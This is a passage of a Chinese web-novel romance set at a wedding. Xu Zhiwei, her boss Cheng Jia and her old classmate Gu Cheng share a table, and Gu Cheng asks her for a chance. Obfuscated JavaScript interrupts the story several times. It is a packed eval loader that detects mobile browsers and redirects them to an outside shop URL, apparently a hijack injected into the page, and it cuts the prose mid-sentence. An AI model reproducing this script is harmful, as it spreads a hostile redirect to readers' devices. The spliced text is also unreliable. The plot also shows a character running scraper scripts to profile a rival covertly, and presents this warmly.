——今儿就穿这个吧?得体又修身。 换好后,镜子里的人,陌生又熟悉。 不是擦边账户里刻意讨好的她,也不是公司里模糊性别的她,而是一个久违的,为了取悦自己而存在的美好。 ——老娘果然天下第一美。 她美滋滋地欣赏着自己,一个荒唐的念头毫无征兆地浮上大脑:也许,在某个她早已遗忘的角落,她真的也曾是别人青春里,暗恋多年的女神。 虽然,不一定是十几年。 这个念头让心口微微发胀,又迅速被她按了下去。 ——咋回事? ——都不攻略他了,咋老想起他的事儿? 然后开始上妆,粉底轻薄,眼线细致,唇色选了柔和的豆沙粉。首饰戴了一对珍珠耳钉,光泽温润。 ——完美! ——今儿参加婚礼的单身汉们,有福了! ——不随自己点幻想值,可说不过去啊。 她在心里暗自调侃着,试图掩盖那股莫名的在意。 * 婚礼现场比她预想的更热闹。 ——也是,刘凯本就是个小富二代,排场自然不小。 熟悉又疏离的面孔不断出现,有人寒暄,有人感慨,有人带着介于社交与熟稔的笑意。 她签到,递礼金,道贺,签完字,合上笔,正在心疼自己这些年送出去的礼金,到底什么时候才能收回来时,转身,看到了—— 程迦。 那一瞬间,许知微的第一反应竟然是个始料未及的荒诞猜想。 ——这人不会是,追自己追到别人婚礼上来了吧? 可念头刚冒出来,就被她自己碾得粉碎。 ——不可能。 ——绝对不可能。 完全不符合程迦的行为逻辑,他不是那种会为偶遇概率而制造戏剧性场景的人,更何况,他多不擅长社交啊,尤其是婚礼这种大范围陌生人社交。 上次跟林芮他们吃个饭,自己暗恋别人多年的小秘密就被林芮套话套出来了。 ——巧合。 ——或许他们富二代之间,都是彼此认识的。 ——这婚礼,或许也是他们内部社交的一环? ——自己这也算是误闯天家了。 她迅速调整呼吸,将那一瞬的失序压回心底,然后开口划定界限: “程总。” 那两个字出口的瞬间,她自己都毫无察觉地松了一口气。 ——对,这位是自己上司。 ——在非工作场合遇到上司会紧张,也是正常的。 对面的程迦也只是如往常在公司碰到一般,面无表情地点点头。 两人便一前一后,顺着指示牌往婚礼主厅走。 走廊铺着红毯,灯光比外头柔和,脚步声被地毯吞掉,不远处隐约传来的音乐和彩排的喧哗。 因为人多,两人的距离也在无形中被挤压,近到她不得不开口,填补这段不太好定义的并行距离。 “您是……新娘那边的朋友吗?” 她努力让自己语气保持自然。 “不是。”程迦答得很快,“我认识新郎。” 这倒让她有点意外。 “那天吃早茶的时候,没听您提过。”她随口接了一句,一边张望着熟人,试图逃离这个尴尬。 “我当时以为只是同名同姓。”他说,“没往这边想。” 许知微点了点头,她脑子转得很快,下意识推测:程迦应该是刘凯的初中或者小学同学吧? 还没来得及追问,前方忽然传来一声带着夸张热情的招呼—— “程哥?!” 刘凯穿着新郎西装,笑得春风得意的男人快步迎了上来,脸上的热络几乎要溢出来。 他先是狠狠拍了拍程迦的肩,语气里带着明显的攀附意味:“贵人可算来了!真是赏脸啊!” 然后,他的目光极其自然地一转,落在许知微身上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215743|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 停顿。 亮起。 那种“我懂了”的笑容瞬间挂上脸。 “哟——”刘凯语调上扬,意味深长,“这位是程嫂吧?” 还没等程迦开口,他已经自顾自地下了结论,笑得更加殷勤: “我就说,程哥你这种条件,怎么可能一个人来!” 许知微:“……” 她心里翻了个白眼,甚至没等程迦解释,已经抢先一步,语气带着老熟人的调侃: “这多年了,你还是跟高中时一样脸盲。” 刘凯一愣。 “高中坐你前排三年,”她看着他,当着面故意翻了一个大白眼,“连我都没认出来?” 这句话终于让刘凯的表情从热络,迅速转为震惊,再到恍然大悟,猛地一拍大腿,“许、许知微?!” 她满意地点了下头。 “卧槽!”刘凯这次终于恢复到了不恭维的语气,“还真是许女神?!” 他来回看了她好几眼,像是在做跨越十几年的面部识别校准,随即露出一个夸张的笑: “不是……这也不能怪我吧?你变化也太大了!” 他摇着头感叹:“虽然当年就是我们班的女神模板,现在这是……女神本人升级版啊。” 许知微懒得接茬,只是笑着调侃:“光说好听的没用,等我结婚的时候,你多还我点礼金。” 刘凯被噎了一下,随即哈哈大笑,完全不介意,反而更热情了几分:“行行行,没问题!” 很快,刘凯的目光在她和程迦之间来回扫了一圈,明显比刚才多了几分认真。 “你们俩——”他拖长了音调,语气里带着一种不太掩饰的惊讶,“要结婚?” 许知微被对方语出惊人的反问吓了一跳,几乎是条件反射,立刻接话: “啥?我俩就是在门口碰到的。” “是吗?”刘凯笑得有点意味深长,“可刚刚我看你们好像还挺熟的。” “他是我上司。”许知微再次开口解释,然后侧脸瞪了一直一言不发的程迦一眼。 ——再不怎么不善社交,也不能啥都不解释吧? ——这嘴巴没用可以捐掉了! 可许知微的回答并没有让刘凯满意,他还想再说点什么,身后忽然有人高声喊他。 “新郎人呢?!准备了,马上要开始了!” 在许知微听来,那声音救场一般地响起。 刘凯立刻应了一声,朝他们做了个抱歉的手势:“得,我先失陪。你们自己找名牌坐,等会儿再聊!” 说完,他已经被工作人员半推半拉地带走,西装背影匆匆,很快消失在主厅另一侧。 空气终于松了一点。 许知微呼出一口气,才发现自己刚才一直是屏着的。 “走吧。”她说,“各自找各自的位置吧。” 两人顺着指示牌往宾客区走。 硕大的主厅已经坐得七七八八,圆桌一张接一张,白色桌布上摆着酒杯和菜单,交谈声低低地铺开,像一层持续不断的背景噪音。 她开始找自己的名牌。 一张桌子。 不是。 第二张。 还是没有。 她沿着圆桌边缘走,目光在一张张小卡片上快速扫过,心思却不太集中。 因为程迦,一直跟着她。 ——这人到底干嘛? ——不喜欢参加婚礼就不要来。 ——来了一直找自己庇护是几个意思? 终于,她在一张几乎快坐满的大圆桌边停住了。 找到了。 「许知微」 她的名牌安静地立在桌沿,位置已经不算好,靠近内侧。 她刚要抬脚过去,视线却在名牌旁边,不受控制地停了一下。 右侧。 「程迦」 她的动作顿住了。 ——啊? 她甚至还没来得及消化这层不合时宜的巧合,余光移向了自己名牌左侧。 那个位置已经有人背对着坐在那里了,隐约可见桌上的名牌—— 「顾呈」 29. 自卑 程迦的视线,在那两张并排的名牌上停留了不到一秒。 ——「许知微」 ——「程迦」 心脏极轻地往上提了一下,他雀跃于这种默认的并列关系。 哪怕只是座位安排,也足以让他在那一刻产生错觉:或许命运,在此时此刻,是悄悄偏向他的。 可这点薄雾般的窃喜还没来得及成形,就被一道声音猝然打散。 “知微,来了?” 男声不高,很自然,带着一种来气的熟稔。 程迦的神经几乎是在那一瞬间骤然绷紧,他循声看去。 一个男人站了起来。 身形修长,肩背挺直,穿着剪裁得体的西装,却自带一种静水深流般的书卷气,温柔知性。 男人已经自然地伸手,替许知微拉开了她名牌前的椅子。 程迦的视线下意识地落到了桌面上那张小小的名牌上。 下一秒,警铃在脑中轰然炸响。 ——「顾呈」 那两个字,和记忆里无数次被反复描摹,被强行压制,被锁进不可触碰档案深处的名字,一点点重合。 ——确认。 ——是本人。 他能清楚地感觉到,刚才那点微不足道的窃喜,被一只无形的手,毫不留情地掐灭了。 连灰烬都没有留下。 “谢谢。” 许知微已经坐下,语气轻快,带着一种熟稔的笑意,“你还是老样子,这么多年了,还是这么绅士。” 她抬眼看着顾呈,笑容自然,毫无防备,也没有刻意保持距离。 不同于她对上司的礼貌,她对旧识是如此放松。 程迦的喉结,微微滚动了一下,僵硬地站在原地。 顾呈已经替许知微倒了水,语气随意,像是在调侃,又像真心感慨:“你倒是变化挺大的。” 他看了她一眼,笑意温和,“比以前还漂亮了。” 那语气太自然了,是程迦期待能从自己口中说出的,没有刻意夸赞,更不会适得其反的讨好。 许知微果然被逗乐了,笑了一声,轻松得几乎不设防:“你也有变化。” 然后她上下打量他一眼,毫不客气地补了一句:“变胖了。” 顾呈愣了一下,随即失笑摇头:“你还是这么不留情面。” 桌上的气氛,轻松,熟稔,自然。 像两个错过的人,阴差阳错地再次重逢。 程迦站在那里像个旁观者一样看着,背脊依旧挺直,表情没有任何破绽。 可只有他自己知道自己内心多么破防。 他听见他们说话,却插不进一个字。 他看见她的笑,却无法判断那笑里有多少是属于旧情未了。 他也清楚地意识到,自己强行来参加婚礼这个行为,是多么愚蠢又好笑。 终于,他好不容易哄着自己迈出这么多年来的第一步,竟然迎面撞上了这场顶级的社交修罗场。 ——应该怎么处理? ——离开? ——不,躲了这么多年了,好不容易迈出这一步,不能就这么放弃。 ——宣誓? ——不,这是别人的婚礼,自己搁这儿又唱又跳,成何体统? ——哦,自己还站着呢。 ——先坐下再说下一步。 程迦缓缓收紧了放在膝上的手,指尖冰凉,僵硬地跟着坐下,背依旧挺得笔直。 肩线、脊骨、下颌角,全都维持在一个随时保持警觉的社交姿态里。 ——现在可以开口了? ——她朝我这边看了一眼,要不要点头? ——哦,只是拿水杯啊。 ——顾呈也看了我一下,该不该顺势自我介绍? ——哦,只是跟其他熟人打招呼啊。 身旁两人任何一个动作,都会被程迦过度警惕,过度解读。 为了防止自己露怯,他只能坐着。 安静地,维持存在。 ——以不变应万变。 可顾呈的目光却已自然地从熟人转了过来,带着一种礼貌的好奇。 他看了程迦一眼,又看向许知微,语气带着试探: “这位是……男朋友?” 那一瞬间,程迦几乎能感觉到胸腔里的空气被抽走了一半。 他甚至来不及思考,许知微已经迅速开口。 “不是不是。”语速偏快,带着一点明显的紧急制动。 她侧过身,面向顾呈,语气轻松,却刻意拉回到安全区:“刚才在门口偶然碰到的。” 说完,像是觉得还不够清楚,又补了一句,语调干脆利落: “也是刘凯的同学。” 然后,停顿了一会儿,又补了一句。 “现在是我上司。” 她说这话时,脸上带着一点自嘲式的笑意,像是在化解某种尴尬,又像是在主动为这段关系贴上一个不可误读的标签。 顾呈明显愣了一下,随即露出一个恍然的笑。 “那还真是巧。” 他笑着摇了摇头,语气感慨,“世界真小。” 许知微也跟着笑了一下,顺势点头:“是啊。” 他们的语气都很自然,也很默契。 这让程迦更难受了。 ——世界真小。 ——小吗? ——如果小,为什么他在她身边那么久,以程迦的身份,以走leetcode的影子,待了那么久,她都从未把眼神如此刻般,如此松弛而明亮地放在他身上? ——自己用十几年时间拼命跨越的距离,在他们眼里,不过一个小世界么? ——是啊,也该如此。 ——天鹅一出生便知道自己属于天空,自然不用知道一只癞蛤蟆从地面到天空的距离。 程迦端起水杯,低头喝了一口。 奇怪,水是温的,却顺着喉咙一路凉到胃里。 ——别乱想,她刚才的解释,是在替所有人解围。 可理智归理智。 那种不是滋味的感觉,却还是毫不讲理地,从胸腔深处一点点漫上来。 程迦的注意力最终被顾呈那声轻描淡写的“哦——”重新拉回现实。 顾呈像是终于完成了最基本的社交确认,脸上挂着那种书生气里带点恃才傲物的笑意,主动朝他伸出手。 “顾呈。” 程迦几乎是条件反射般站起身,与他相握,报上自己的名字:“程迦。” “好名字。”顾呈握着他的手,没有立刻松开,反而像是认真咀嚼了一下那两个字,随即笑意加深,“程迦——成家。” 他视线若有若无地扫了一眼宴会厅里张灯结彩的布置,语气轻快得像一句即兴的玩笑: “跟今天这场合,还挺配的。” 然后,他貌似很随意地补了一句: “所以,程迦成家了么?” 程迦还没来得及开口,旁边忽然传来一声极轻的笑。 是许知微。 她眉眼舒展开来,眼尾微微弯起,带着松弛而真实的亮度。 ——很美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225833|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ——美得毫不费力。 ——也美得,让人心口发紧。 ——她从未因为自己说的话,这么笑过。 程迦几乎是下意识地移开了视线。 下一秒,似乎是察觉到了尴尬,许知微已经自然地接过了话。 “他没有。” 然后,她顿了顿,又像是想起了什么似的,补了一句: “但他有个喜欢了十几年的人。” 这一句让顾呈明显愣了一下,随即夸张地“哇”了一声,眼睛微微睁大,语气里多了几分真诚的惊讶: “十几年?” 他笑着偏了偏头,像是在认真计算时间线,又像是在顺势玩笑: “那得是,从小就认识的青梅竹马了吧?” 这一回,程迦终于回过神来。 论喜欢的长度,他又找回了自信。 “不是。” 他开口,声音比自己预想的要稳。 “十三年。” 他顿了顿,明确时间。 “高中开始的。” 这句话一出,桌面短暂地安静了一瞬。 许知微侧过头,看了他一眼,眼神里掠过一丝极轻的讶异,随即笑意重新浮上来,带着点调侃的意味: “看不出来吧?” 她再次转向顾呈,语气轻快,“还是个痴情种。” ——自己这种喜欢的长度,对她来说,算痴情么? ——痴情,是好印象吧? ——不会是死缠烂打的美化版本吧? ——应该不是。 ——那她,为啥躲着自己啊? 另一边,隔着许知微的顾呈显然也被这个信息点勾起了心思。 他若有所思地看了失神的程迦一眼,随即笑了笑,却没有继续追问,反而极其自然地,把话题拉回到了许知微身上。 “这么一算,”他语气放缓了些,像是在认真回味,“我们认识,也有十三年了吧?” 许知微一怔。 “高一那年开始算的话,”顾呈看着她,语气忽然变得认真了些,“到现在,差不多。” 他笑了一下,那笑容不再是纯粹的玩笑,而是带着一点旧日情绪被翻出来的温度: “这么算来——” “你也算,当了我十三年的女神了。” 这话说得轻巧,也没有过界。可那种带着时间长度与私人记忆的指向性,却让两人之间的空气悄然发生了变化。 许知微脸上的笑,依旧得体。 她没有接话,只是象征性地弯了弯唇角,像是在默认一个被夸大但无伤大雅的说法。 ——为什么不拒绝他? 程迦对她的反应燃起一丝不安。 ——怎么应付自己的时候,就那么得心应手? 还未来得及细想,便看见顾呈看向她,目光比刚才多了几分专注,语气也不再轻佻,反而带着一种被酒精和场合共同放大的坦率: “许女神现在……没有男朋友吧?” 这一刻,程迦清楚地听见了自己心脏猛地撞击胸腔的声音。 ——咚。 很重。 重到几乎让他产生了一种生理性的眩晕。 ——顾呈,想干什么? 他甚至来不及思考这个问题的答案,也来不及判断许知微会如何应对。 下一秒,顾呈已经自顾自地说了下去。 “如果没有的话,” 顾呈看向许知微,神情是罕见的严肃,“给我一个机会,行吗?” 30. 窃喜 “知微,来了?” 顾呈替她拉开椅子,动作绅士。 许知微礼貌地道谢,顺势坐下。 可当她坐下时,注意力却不是被左边的顾呈吸引,而是被右侧那股过于安静的诡异吸引。 程迦终于落座了,可他背脊挺得笔直,直得有些不合时宜,手放在膝上,像在开会。 她下意识地用余光扫了他一眼。 ——吃席也能吃出开会的感觉,不愧是周扒皮。 程迦此刻像是被迫置身一个他完全不想参与、却又必须参与的场域里,整个人都在本能地收紧,生怕泄露出任何失控的缝隙。 ——对啊,他不喜欢社交,不习惯这种婚礼嘈杂。 ——毕竟,他这种人连公司聚餐都只在结账时出现。 ——也真是奇了,不喜欢干嘛来? ——被刘凯逼的? 想到这里,她忽然觉得有点好笑,这种场合把他拽来,确实有点缺德,也不知道刘凯是怎么办到的。 之后的时间,她一边跟顾呈寒暄,一边留意着右侧的安静。 当顾呈突然夸她更漂亮,她只是笑了一下,接了句“你变胖了”,把话题往轻松处拐,让它停在老同学互损的安全范围内。 这是她习惯性的控场方式:不让温度升上去,也不让话题滑向暧昧。 顾呈失笑,气氛确实轻松了。 如今自己跟顾呈能这样自然聊天,纯粹因为她心里早就结案了,当年那点少女心动,止步得很干净。 感谢系统,让她及时发现自己跟年少时的白月光,床上不合。 或许没有系统,他们确实会有一段甜蜜的时光,但她不后悔,甚至庆幸自己停得早。 反正最后都要分,那不如不开始。 就如她对程迦的及时刹车一般。 ——不对,不一样。 ——勾引周扒皮纯粹是出于幻想值。 可当顾呈把目光转向程迦,礼貌地问出那句:“这位是……男朋友?” 许知微却紧张得条件反射地接话。 “不是不是。” 程迦最讨厌被扔进别人编的剧本里。 于是她把所有可能的误会都在最短时间里压平:偶然碰到、同学、上司。 她说完,甚至还带了点自嘲的笑意。 ——自己这个牛马可真不容易,周末吃个席还要给上司解围。 之后顾呈点头,说世界真小。 她也顺势应了声“是啊”。 可她余光里,还是瞥见程迦低头喝水的动作。 ——这人啊,一紧张就喝水。 ——看来就这一个多小时的婚礼,他能跑十趟厕所。 她心里默默叹了口气。 ——不喜欢,还强迫自己来。 ——图啥啊? ——大概率还是有利可图吧? ——周扒皮也不容易。 ——嗨,赚钱都不容易啊。 许知微之后的心思全在赚钱上面,至于顾呈后面那些十三年女神的话,她甚至没过脑子,就笑笑不回应。 直到顾呈将试探的注意力从自己转到了程迦:“程迦成家了么?” 这句话让许知微的思绪短暂地飘了一下。 ——程迦,结婚? 这个念头在她脑子里转了一圈,竟然先冒出了一个极其滑稽的画面:西装革履的程迦,面无表情地站在婚礼台上,像主持项目评审会一样对着新娘点头说“好的,这个方案通过”。 她没忍住,极轻地笑了一声。 可随即,她注意到程迦沉默了。 那沉默不像是在思考如何回答,更像被某个猝不及防的痛点按住。 他握着水杯的手指微微收紧,视线低垂。 ——根据多年合作经验,这是往心里去了。 许知微心里一紧。 ——等等,成家这个词,是不是让他又想到了那个喜欢了十几年的人? 这个念头让她几乎是条件反射地开口,试图带过这个他不愿谈及的话题: “他没有。” 说完,又像是为了缓和气氛,也为了给这个没有一个不那么尴尬的解释,她顺口补了一句: “但他有个喜欢了十几年的人。” 话一出口,她就有点后悔。 这解释,好像在他伤口上撒盐。 顾呈果然夸张地“哇”了一声,笑着看向程迦:“十几年?那得是,从小就认识的青梅竹马了吧?” 这一回,程迦终于抬起了眼: “不是。” “十三年。” “高中开始的。” ——高中? 许知微脑子里几乎是立刻跳出了对应信息:程迦的高中,是在美国读的。 所以,他喜欢了十三年的那个人,是个金发碧眼、轮廓深邃的异国女孩? 画面毫无预兆地闯入脑海:阳光充沛的校园长廊,少年时代的程迦,目光追随的应该是一个笑容明媚、与他生长背景截然不同的身影。 她心里忽然掠过一丝连自己都未及细辨的异样。 不算好奇,更像是一种说不清的距离感。 ——自己是怎么能跟一个外国女孩相似的? 她不动声色地端起水杯,借着喝水的动作,把那一瞬间的走神遮掩了过去。 再抬眼时,脸上已经恢复了那点调侃的笑意: “看不出来吧?” 她语气轻松,像是在给一个不太熟的朋友贴标签,“还是个痴情种。” 这句话说得轻飘飘的,连她自己都分不清,里面究竟有多少是玩笑,多少是某种连自己都不愿承认的微妙释然。 ——这样也好。 至少她知道,有些界限,从一开始就画得很清楚。 顾呈顺着话茬,又暗示了他俩。 许知微只是笑笑,没说话。 她清楚,她跟顾呈,不合拍。 在最底层、最原始、最兽性的东西,完全不合拍。 她当然承认,自己当年对顾呈有过少女式的心动。 如果她没有绑定幻想系统,大概真的会被这种标签化的匹配所迷惑。 可也正是因为绑定了系统,她见过顾呈在幻想里的另一面。 粗鲁。 未经询问默认拥有的占有。 不是她不能接受欲望,而是她非常清楚,那种模式里,自己的主体性会被反复试探,自己的边界会毫无意义。 她不喜欢,甚至可以说,排斥。 没有道德评判,只是身体层面的否定。 所以她当时就知道,哪怕现实里的顾呈再绅士,再克制,那一层深处的欲望结构,是不会骗人的。 而伴侣这种关系,x癖好都不合拍,谈什么长久? 所以后来,哪怕所有人都在替他们惋惜,她心里从来没有过如果当初的遗憾。 没有就是没有。 她不后悔。 此刻也是一样。 所以,当顾呈说出“给我一个机会”的时候,她其实已经在脑中迅速构建起一套礼貌拒绝还能维持多年同学体面的回应方案。 她正准备开口,司仪的声音,恰好在这一刻响起。 “各位来宾,婚礼即将开始,请大家入座——” 音乐起,灯光柔和下来,恰如老天爷送给她的中断点。 她松了一口气。 有些话,不说,比说更合适。 就像当初她没回顾呈消息,一切便礼貌地戛然而止。 她自然地把注意力转回主舞台。 新人出场,相识短片,誓言,戒指,拥抱。 背景音乐煽情,台下有人擦眼泪,有人举着手机录像,暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235554|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄色的光晕笼罩着台上那对紧紧相拥的身影。 许知微静静看着,心里有些异样,说不上羡慕,也不像是失落。 更像是一种更安静的疏离,仿佛这一切的热闹、承诺、被众人见证的圆满,都属于另一个她从未真正踏入过的世界。 ——同龄人。 她脑海里又闪过这个词。 身边陆续传来压低的笑语,邻桌的女孩靠向男友肩头,斜前方一家三口低声交谈着什么时候该敬酒。 空气里飘着香水、鲜花和食物的气味,每一个细节都在强调着成双成对、结婚、家庭、未来、孩子。 她坐在这里,得体,从容,甚至算得上漂亮。却像一座孤岛,被温柔的潮水环绕,却始终无法被淹没。 她忽然意识到一件事:她已经很久没有,或许是从未,在一个如此密集的、充斥着亲密关系的场域里,独自一人。 不是没有人追求,也不是没有过心动。只是那些心动,最后都败给了系统里那些赤裸的欲望记录。 直到此刻坐在这里,她才后知后觉地触摸到那种深埋的几乎被她无视的,孤独。 当然,不是凄惨的那种,毕竟,她的目标本就是做个孤独终老的富婆,包包男模。 只可惜,她现在还没成为富婆。 想到这里,为了转移注意力,她拿起筷子,夹了一筷子凉菜。 ——毕竟随了那么多份子钱。 ——吃也要吃回来些。 ——可味同嚼蜡。 ——但没关系。 ——继续吃饭。 ——食欲也是欲望。 ——缓解食欲,便是缓解欲望。 ——只要把注意力放在食物上,就不会去想那些没用的。 她开始认真评估每一道菜:刺身新鲜度不错,虾饺皮薄馅足,烧鹅火候刚好,她甚至在心里默默算起了这桌的餐标。 ——对,就这样。 ——把婚礼当成一场纯粹的美食测评。 ——把心里的空,用食物填满。 ——把那些不合时宜的嫉妒,嚼碎了咽下去。 就在她刚夹起一块清蒸鱼,准备专心对付鲜嫩的鱼肉时,右手肘忽然被人轻轻戳了一下。 不重,却足够打断她那点强行集中的注意力。 她偏头。 果然是程迦。 他没有说话,只是用眼神示意了一下她的手机。 许知微低头,屏幕亮着,微信新消息。 发件人:程迦。 附件:一个文档。 她眉心不受控制地跳了一下。 ——烦。 她好不容易把情绪按下去,把注意力锁在食物上,用咀嚼对抗那一闪而过的脆弱。 他却偏要在这个时候,用工作来打断她。 ——果然。 ——差点被他最近那些若即若离的异常给迷惑了,忘了这人骨子里就是个周扒皮。 ——连别人的婚礼都不放过,见缝插针地催进度。 她翻了个极轻的白眼,几乎是用尽了毕生的职业素养,才没让那点不耐烦显在脸上。 筷子放下。 解锁屏幕。 点开微信。 指尖在那个文档上停顿半秒,然后戳开。 标题跳出来——《论顾呈并没有喜欢许知微十三年》。 许知微:“……” 刚才那点强行压下去的孤独与自我安抚,在这一刻,被一种更具体的无语彻底冲散。 她抬起头,看向程迦。 他正目不斜视地看着主舞台,侧脸线条绷得有点紧,仿佛刚才那个戳她手肘,发文件的人根本不是他。 许知微抿了抿唇,忽然生出一丝偷窃幸福的侥幸。 也不知道那个他喜欢了十三年的人,是不是也体会过他给予的别扭的温柔。 31. 捧花 顾呈那句话落下来的时候,程迦的第一反应并不是愤怒,是慌。 那种被打得措手不及,完全没有预案的慌乱。 “如果没有的话,给我一个机会,行吗?” ——不愧是顾呈,到底是怎么自信又自然地说出自己十几年都不敢说出的话? ——自己又来迟一步么? 程迦的后背,几乎是在那一瞬间绷紧的。 他的大脑飞快地运转,却找不到一个合适的入口。 ——可自己又能说什么? ——“不好意思,她有喜欢的人了”? 是他么? ——“你这样不合适”? 以什么立场? ——“她不会答应你”? 那是替她发言,是越界。 所有能想到的选项,都在最后一步被否决。 因为在这一刻,他没有任何一个可以被公开使用的身份。 他只是一个,被临时塞进同一张桌子,并且最近一直被拒绝的上司。 想到这里,他的手在桌下不自觉地收紧,指尖抵住掌心,呼吸却必须维持在一个稳定且不会被任何人察觉异常的频率。 他甚至不敢转头看她。 怕看到她犹豫。 怕看到她思考。 更怕看到她认真回答。 就在他所有的神经都被绷到极限,甚至已经做好了承受某种结局的准备时。 司仪的声音响了。 “各位来宾,婚礼即将开始,请大家入座——” 灯光变化,音乐起。 像一只在最后一秒落下的安全闸。 程迦几乎是在那一瞬间,才重新找回了心跳。 ——活过来了。 他低下头,端起水杯喝了一口。 水温不冰,却顺着喉咙一路凉下去,像是在强行把所有过载的情绪压回体内,理智也在这刻回归。 台上,新人开始入场。 掌声、音乐、祝福声一并涌起,把刚才那段短暂却足以致命的对话,暂时埋进了背景噪音里。 而程迦,在这片喧闹中,做了一件他极其擅长的事——分析。 他拿出手机,这是他的武器。 他不想再逃避了,他要反击,哪怕对方是顾呈。 如果情绪无法被允许登场,那他至少还拥有理智。 他低着头,屏幕的冷光映在镜片上,指尖已经开始飞快地滑动。 婚礼进行曲在耳边响起,誓词在台上回荡,而他的世界,迅速收缩成一个高度集中的、信息密集的界面。 顾呈。 他输入这个名字,多线程。 公开社交平台、校友圈、旧论坛、能被索引的历史记录、交叉关系网。 他甚至调取了几个自己平时根本用不到的爬虫脚本,快速跑了一轮。 时间轴被选中。 过去十三年。 如果顾呈真的像自己一样喜欢了许知微十三年,那在数据层面,不可能没有痕迹。 点赞频率。 互动时间点。 情感状态更新。 他要验证。 指尖敲击的速度越来越快,大脑却异常清醒。 这是他最熟悉的状态,当世界混乱、情绪失控时,他退回到可被计算的领域。 而数据,没有让他失望。 顾呈与别的账户那些暧昧的边界,重叠的时间段,被删除又能被缓存捕捉到的痕迹。 结论:这人不算滥情,但也绝对谈不上钟情许知微十三年。 可他没有因此产生快意,只有确认了心中的猜想。 ——果然。 ——在喜欢许知微这个时间纬度上。 ——自己,依旧独领风骚。 文档被迅速建立。 标题带着他一贯的作风,冷静、直接、不带任何修辞。 《论顾呈并没有喜欢许知微十三年》 文档里没有情绪,没有主观判断,只有时间线、对比图、引用链接、以及一页页清晰到可以量化的论证。 十页。 发送之前,他停顿了一会儿,给自己做心里建设。 ——这是帮她确认的信息。 ——对,这不是表白。 ——她不会拒绝自己。 ——也没机会拒绝自己。 消息发送成功的提示跳出来时,他几乎是立刻锁了屏。 不敢看她。 他把目光重新投向舞台,盯着新人交换戒指的动作,表情维持在一个无可挑剔的平静。 但他的余光,始终没有离开过她。 他瞟见她低头,看手机。 瞟见她明显停顿了一下。 瞟见她的表情发生了极其细微的变化。 下一秒—— 顾呈忽然侧过头,凑近她,说了句什么。 她的反应很快。 太快了。 几乎是条件反射般地,把手机屏幕扣了过去。 动作克制,却带着明确不想让顾呈误会的意味。 程迦的心,微微往下沉了一下。 这次并不是因为顾呈。 而是因为他忽然意识到一件事。 许知微或许并没有他想象中那么在意顾呈是否喜欢了她十三年。 至少,没有他在意。 也对。 对他来说,那十三年,是他整个情感体系的基石。 是他从泥沼里爬出来、一步一步把自己打磨成现在这个模样的全部理由。 是他面对任何竞争时,唯一敢在心里默念的、近乎骄傲的优势。 ——我喜欢你,比任何人都久。 可对她来说。 有没有人喜欢她十三年,不重要。 重要的是,她喜不喜欢这个人。 想到这里,他忽然觉得有点郁闷。 他以为这是他最无可替代的东西,却发现它甚至还没来得及被放上比较的天平。 舞台上,司仪宣布新人亲吻。 掌声雷动。 程迦也抬手,跟着鼓了两下掌。 动作标准,节奏正确。 只有他自己知道,在这一片祝福与欢呼中,他正安静地坐着,守着一段没人要求、也没人真正想要衡量的十三年。 而那十三年,却是他全部的底牌。 * 婚礼进行到后半段,气氛明显被推高了。 音乐换了节奏,司仪语气轻快起来,开始进入那种半玩笑、半流程化的互动环节。 程迦原本并没打算再分心,直到他听见林芮的声音,从右前方传来。 “走走走——!” “就当陪我一下!我一个人去太丢脸了!” 程迦顺着声音看过去。 许知微被坐在情侣桌的林芮一把拉了起来。 她明显愣了一下,下意识想挣开,肩膀微微后撤,脸上那种无语的表情一闪而过。 但林芮显然不给她反应时间,已经半推半拽地把她往前带。 “对啊,大家怎么了?都不想结婚!” “你陪我去凑个数嘛!不然显得我太恨嫁了!” 那语气理直气壮,甚至带着点破罐破摔的快乐。 程迦怔了一瞬。 ——她,要去抢捧花。 他一向对这种象征嗤之以鼻,被一支花决定下一个结婚的概率? 毫无逻辑。 他几乎是本能地扫了一眼周围。 果然。 大家都是理智人,没几个人站起来。 零零散散的几个女生站在场地边缘,动作敷衍,笑得也很克制,像是在完成某种社交任务,没有期待什么象征意义。 没人认真。 除了林芮。 她是真的在把许知微往人群中央推。 而许知微—— 程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 